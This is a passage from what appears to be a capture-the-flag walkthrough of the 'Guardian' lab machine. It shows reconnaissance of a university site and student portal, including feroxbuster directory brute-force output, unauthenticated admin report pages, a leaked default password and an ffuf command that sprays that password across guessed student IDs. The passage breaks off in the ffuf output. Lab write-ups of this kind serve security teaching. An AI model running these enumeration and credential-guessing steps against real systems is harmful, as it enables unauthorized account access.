<h4 id="site">Site</h4>

<p>The site is for a university:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="/img/image-20260222133426050.webp" />
        <img loading="lazy" src="/img/image-20260222133426050.png" alt="image-20260222133426050" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>In the “Student Testimonials” section, there are three names with email addresses:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260222133521840.webp" />
    <img loading="lazy" src="/img/image-20260222133521840.png" alt="image-20260222133521840" class="include_image " />
</picture>

<p>The ID seems to be “GUxxxxxx” (where the x is a digit). Moreover, it seems to be three digits and maybe a year, as the three IDs end in 2023 or 2025. There’s a reference to <code class="language-plaintext highlighter-rouge">admissions@guardian.htb</code> at the bottom next to the “Contact Us” form:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260222133635296.webp" />
    <img loading="lazy" src="/img/image-20260222133635296.png" alt="image-20260222133635296" class="include_image " />
</picture>

<p>Submitting the form does pop up an alert box:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260222133736676.webp" />
    <img loading="lazy" src="/img/image-20260222133736676.png" alt="image-20260222133736676" class="include_image " />
</picture>

<p>But no request is sent to the server, so this is nothing.</p>

<p>There’s a link at the top to <code class="language-plaintext highlighter-rouge">portal.guardian.htb</code>. The rest of the links lead to anchors on this page.</p>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers just show Apache:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sun, 22 Feb 2026 18:33:09 GMT</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Apache/2.4.52 (Ubuntu)</span>
<span class="na">Last-Modified</span><span class="p">:</span> <span class="s">Thu, 10 Jul 2025 16:06:12 GMT</span>
<span class="na">ETag</span><span class="p">:</span> <span class="s">"1a55-639955f4c2500-gzip"</span>
<span class="na">Accept-Ranges</span><span class="p">:</span> <span class="s">bytes</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Accept-Encoding</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">6741</span>
<span class="na">Keep-Alive</span><span class="p">:</span> <span class="s">timeout=5, max=100</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">Keep-Alive</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html</span>
</code></pre></div></div>

<p>The main page loads as both <code class="language-plaintext highlighter-rouge">/</code> and <code class="language-plaintext highlighter-rouge">/index.html</code>, which further suggests a static site. The 404 page is the <a href="/cheatsheets/404#apache--httpd">default Apache 404</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260222133956108.webp" />
    <img loading="lazy" src="/img/image-20260222133956108.png" alt="image-20260222133956108" class="include_image " />
</picture>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">feroxbuster</code> against the site, but it doesn’t find anything interesting:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://guardian.htb
<span class="go">                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://guardian.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET        9l       31w      274c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-red">403</span><span class="go">      GET        9l       28w      277c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      309c http://guardian.htb/js =&gt; </span><span class="feroxbuster-yellow">http://guardian.htb/js/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      317c http://guardian.htb/javascript =&gt; </span><span class="feroxbuster-yellow">http://guardian.htb/javascript/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      313c http://guardian.htb/images =&gt; </span><span class="feroxbuster-yellow">http://guardian.htb/images/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      310c http://guardian.htb/css =&gt; </span><span class="feroxbuster-yellow">http://guardian.htb/css/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       31l       84w      919c http://guardian.htb/js/scripts.js
</span><span class="feroxbuster-green">200</span><span class="go">      GET      296l      575w     5104c http://guardian.htb/css/styles.css
</span><span class="feroxbuster-green">200</span><span class="go">      GET      156l      447w     6741c http://guardian.htb/
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      324c http://guardian.htb/javascript/jquery =&gt; </span><span class="feroxbuster-yellow">http://guardian.htb/javascript/jquery/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET    10879l    44396w   288550c http://guardian.htb/javascript/jquery/jquery
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 65s   180023/180023  0s      </span><span class="feroxbuster-green">found</span><span class="go">:9       </span><span class="feroxbuster-red">errors</span><span class="go">:70     
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 64s    30000/30000   466/s   http://guardian.htb/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 64s    30000/30000   467/s   http://guardian.htb/js/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 64s    30000/30000   469/s   http://guardian.htb/javascript/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 62s    30000/30000   487/s   http://guardian.htb/javascript/jquery/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 61s    30000/30000   488/s   http://guardian.htb/images/ 
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 60s    30000/30000   497/s   http://guardian.htb/css/ 
</span></code></pre></div></div>

<h3 id="portalguardianhtb---tcp-80">portal.guardian.htb - TCP 80</h3>

<h4 id="site-1">Site</h4>

<p>The portal site offers a login:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260222134156552.webp" />
    <img loading="lazy" src="/img/image-20260222134156552.png" alt="image-20260222134156552" class="include_image " />
</picture>

<p>The “Forgot Password” link leads to a form where I can enter an ID and it says it’ll send an email:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260222171141883.webp" />
    <img loading="lazy" src="/img/image-20260222171141883.png" alt="image-20260222171141883" class="include_image " />
</picture>

<p>Entering one shows what a secure site would show by not confirming if it is a valid ID or not:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260222171212380.webp" />
    <img loading="lazy" src="/img/image-20260222171212380.png" alt="image-20260222171212380" class="include_image " />
</picture>

<p>On visiting the login page, there’s a temporary pop-up at the top right:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223091254258.webp" />
    <img loading="lazy" src="/img/image-20260223091254258.png" alt="image-20260223091254258" class="include_image " />
</picture>

<p>This leads to the same path as the “Help” link, which loads <code class="language-plaintext highlighter-rouge">/static/downloads/Guardian_University_Student_Portal_Guide.pdf</code>:</p>

<div style="position: relative; min-height: 400px;">
    <picture>
        <source type="image/webp" srcset="/img/image-20260223085452428.webp" />
        <img loading="lazy" src="/img/image-20260223085452428.png" alt="image-20260223085452428" style="max-height: 400px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>There’s another email address, <code class="language-plaintext highlighter-rouge">support@guardian.htb</code>, but also a default password! The metadata on the PDF shows it was created with <code class="language-plaintext highlighter-rouge">python-docx</code>:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>exiftool Guardian_University_Student_Portal_Guide.pdf 
<span class="go">ExifTool Version Number         : 12.76
File Name                       : Guardian_University_Student_Portal_Guide.pdf
Directory                       : .
File Size                       : 119 kB
File Modification Date/Time     : 2025:07:10 16:06:12+00:00
File Access Date/Time           : 2026:02:23 13:55:21+00:00
File Inode Change Date/Time     : 2026:02:23 13:55:23+00:00
File Permissions                : -rwxrwx---
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 1
Language                        : en
Tagged PDF                      : Yes
XMP Toolkit                     : 3.1-701
Producer                        : Microsoft® Word 2016
Creator                         : python-docx
Creator Tool                    : Microsoft® Word 2016
Create Date                     : 2025:01:05 10:18:32+02:00
Modify Date                     : 2025:01:05 10:18:32+02:00
Document ID                     : uuid:F7151B96-BF19-4C88-9F67-62962DCDD93D
Instance ID                     : uuid:F7151B96-BF19-4C88-9F67-62962DCDD93D
Author                          : python-docx
</span></code></pre></div></div>

<h4 id="tech-stack-1">Tech Stack</h4>

<p>The site is using PHP, as shown in the URL paths including <code class="language-plaintext highlighter-rouge">/login.php</code> and <code class="language-plaintext highlighter-rouge">/forgot.php</code>. The HTTP response headers also set a PHP cookie on initial interaction:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">302</span> <span class="ne">Found</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sun, 22 Feb 2026 18:40:28 GMT</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Apache/2.4.52 (Ubuntu)</span>
<span class="na">Expires</span><span class="p">:</span> <span class="s">Thu, 19 Nov 1981 08:52:00 GMT</span>
<span class="na">Cache-Control</span><span class="p">:</span> <span class="s">no-store, no-cache, must-revalidate</span>
<span class="na">Pragma</span><span class="p">:</span> <span class="s">no-cache</span>
<span class="na">Set-Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=ht2atm7aip5jqku6531oabqone; path=/</span>
<span class="na">Location</span><span class="p">:</span> <span class="s">/login.php</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">0</span>
<span class="na">Keep-Alive</span><span class="p">:</span> <span class="s">timeout=5, max=100</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">Keep-Alive</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=UTF-8</span>
</code></pre></div></div>

<p>The 404 page is still the <a href="/cheatsheets/404#apache--httpd">default Apache 404</a>.</p>

<h4 id="directory-brute-force-1">Directory Brute Force</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">feroxbuster</code> against the site, and include <code class="language-plaintext highlighter-rouge">-x php</code> to check for <code class="language-plaintext highlighter-rouge">.php</code> files:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://portal.guardian.htb <span class="nt">-x</span> php
<span class="go">
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://portal.guardian.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET        9l       31w      281c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-red">403</span><span class="go">      GET        9l       28w      284c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-red">404</span><span class="go">      GET        1l        3w       16c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      329c http://portal.guardian.htb/includes =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/includes/</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/ =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      326c http://portal.guardian.htb/admin =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/admin/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      327c http://portal.guardian.htb/config =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/config/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET      607l     3253w   210067c http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      331c http://portal.guardian.htb/javascript =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/javascript/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      327c http://portal.guardian.htb/static =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/static/</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/index.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/logout.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      327c http://portal.guardian.htb/models =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/models/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       84l      184w     2900c http://portal.guardian.htb/login.php
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      327c http://portal.guardian.htb/vendor =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/vendor/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      328c http://portal.guardian.htb/student =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/student/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET      173l      316w     3286c http://portal.guardian.htb/static/styles/forgot.css
</span><span class="feroxbuster-green">200</span><span class="go">      GET       38l       92w     1383c http://portal.guardian.htb/forgot.php
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      334c http://portal.guardian.htb/static/styles =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/static/styles/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/config/db.php
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/users.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/includes/auth.php
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/chat.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/profile.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/index.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/config/config.php
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      337c http://portal.guardian.htb/static/downloads =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/static/downloads/</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/student/home.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      334c http://portal.guardian.htb/admin/reports =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/admin/reports/</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/reports.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/models/User.php
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      338c http://portal.guardian.htb/javascript/jquery =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/javascript/jquery/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      335c http://portal.guardian.htb/includes/admin =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/includes/admin/</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      334c http://portal.guardian.htb/static/vendor =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/static/vendor/</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/settings.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/courses.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      337c http://portal.guardian.htb/includes/student =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/includes/student/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET        1l    30245w  2934019c http://portal.guardian.htb/static/vendor/tailwindcss/tailwind.min.css
</span><span class="feroxbuster-green">200</span><span class="go">      GET       27l       51w      763c http://portal.guardian.htb/admin/reports/system.php
</span><span class="feroxbuster-green">200</span><span class="go">      GET    10879l    44396w   288550c http://portal.guardian.htb/javascript/jquery/jquery
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/student/course.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       88l      171w     3286c http://portal.guardian.htb/includes/admin/sidebar.php
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      334c http://portal.guardian.htb/admin/notices =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/admin/notices/</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/student/notices.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       34l       70w     1198c http://portal.guardian.htb/admin/reports/academic.php
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/notices/index.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       70l      142w     2734c http://portal.guardian.htb/includes/student/sidebar.php
</span><span class="feroxbuster-green">200</span><span class="go">      GET       45l       82w     1424c http://portal.guardian.htb/admin/reports/financial.php
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/notices/delete.php
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/chats.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/notices/create.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/models/Message.php
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/student/submission.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/student/assignments.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/models/Course.php
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/models/Program.php
</span><span class="feroxbuster-green">200</span><span class="go">      GET       47l       99w     1628c http://portal.guardian.htb/admin/reports/enrollment.php
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/models/Notice.php
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/admin/notices/approve.php =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/login.php</span><span class="go">
</span><span class="feroxbuster-yellow">301</span><span class="go">      GET        9l       28w      336c http://portal.guardian.htb/vendor/composer =&gt; </span><span class="feroxbuster-yellow">http://portal.guardian.htb/vendor/composer/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       21l      168w     1070c http://portal.guardian.htb/vendor/composer/LICENSE
</span><span class="feroxbuster-green">200</span><span class="go">      GET        0l        0w        0c http://portal.guardian.htb/vendor/composer/installed.php
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 13m   540087/540087  0s      </span><span class="feroxbuster-green">found</span><span class="go">:59      </span><span class="feroxbuster-red">errors</span><span class="go">:59357
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 9m     30000/30000   53/s    http://portal.guardian.htb/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   46/s    http://portal.guardian.htb/includes/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   46/s    http://portal.guardian.htb/admin/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   47/s    http://portal.guardian.htb/config/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   46/s    http://portal.guardian.htb/javascript/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   47/s    http://portal.guardian.htb/static/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   44/s    http://portal.guardian.htb/models/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   45/s    http://portal.guardian.htb/vendor/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   46/s    http://portal.guardian.htb/student/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   47/s    http://portal.guardian.htb/static/downloads/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   45/s    http://portal.guardian.htb/static/styles/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   46/s    http://portal.guardian.htb/admin/reports/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   46/s    http://portal.guardian.htb/javascript/jquery/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   46/s    http://portal.guardian.htb/static/vendor/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   47/s    http://portal.guardian.htb/includes/admin/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 11m    30000/30000   47/s    http://portal.guardian.htb/includes/student/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 10m    30000/30000   50/s    http://portal.guardian.htb/admin/notices/
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 4m     30000/30000   116/s   http://portal.guardian.htb/vendor/composer/ 
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/admin</code> redirects to <code class="language-plaintext highlighter-rouge">/login.php</code>. <code class="language-plaintext highlighter-rouge">/config</code> returns a 403 forbidden.</p>

<p>There’s a <code class="language-plaintext highlighter-rouge">/models/</code> directory with PHP files like <code class="language-plaintext highlighter-rouge">User.php</code> and <code class="language-plaintext highlighter-rouge">Message.php</code>. These are all 0 bytes inside, which suggest PHP files that have code that doesn’t output anything directly, but instead are meant to be included and used.</p>

<p>I’ll note <code class="language-plaintext highlighter-rouge">/vendor/composer</code> shows the use of the <a href="https://getcomposer.org/">Composer</a> PHP dependency manager.</p>

<p>There are several pages in <code class="language-plaintext highlighter-rouge">/admin/reports</code> that return pages. For example, <code class="language-plaintext highlighter-rouge">/admin/reports/financial.php</code>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223093856728.webp" />
    <img loading="lazy" src="/img/image-20260223093856728.png" alt="image-20260223093856728" class="include_image " />
</picture>

<p>On a production system this would be a finding of an information leak. I suspect in a CTF setting this is just forgetting to put authentication controls on these files which are likely included by some kind of dashboard. All of the other paths in <code class="language-plaintext highlighter-rouge">/admin</code> redirect to <code class="language-plaintext highlighter-rouge">/login.php</code>.</p>

<p>There are other paths that should be behind auth as well, like <code class="language-plaintext highlighter-rouge">/includes/student/sidebar.php</code>, but it isn’t super useful to me:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260223094114857.webp" />
    <img loading="lazy" src="/img/image-20260223094114857.png" alt="image-20260223094114857" class="include_image " />
</picture>

<p>All of the links end up back at <code class="language-plaintext highlighter-rouge">/login.php</code>.</p>

<h2 id="shell-as-www-data">Shell as www-data</h2>

<h3 id="site-login-as-student">Site Login as Student</h3>

<p>There’s a default password of “GU1234”, and I have three user IDs from the testimonials on the page. It turns out that GU0142023 didn’t change theirs and I can login. I can also fuzz this with <code class="language-plaintext highlighter-rouge">ffuf</code>:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>ffuf <span class="nt">-u</span> <span class="s1">'http://portal.guardian.htb/login.php'</span> <span class="nt">-d</span> <span class="s1">'username=GUCOUNTYEAR&amp;password=GU1234'</span> <span class="nt">-w</span> &lt;<span class="o">(</span> <span class="nb">seq</span> <span class="nt">-w</span> 000 999<span class="o">)</span>:COUNT <span class="nt">-w</span> &lt;<span class="o">(</span> <span class="nb">seq </span>2020 2026<span class="o">)</span>:YEAR <span class="nt">-H</span> <span class="s2">"Content-Type: application/x-www-form-urlencoded"</span> <span class="nt">-ac</span>
<span class="go">
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
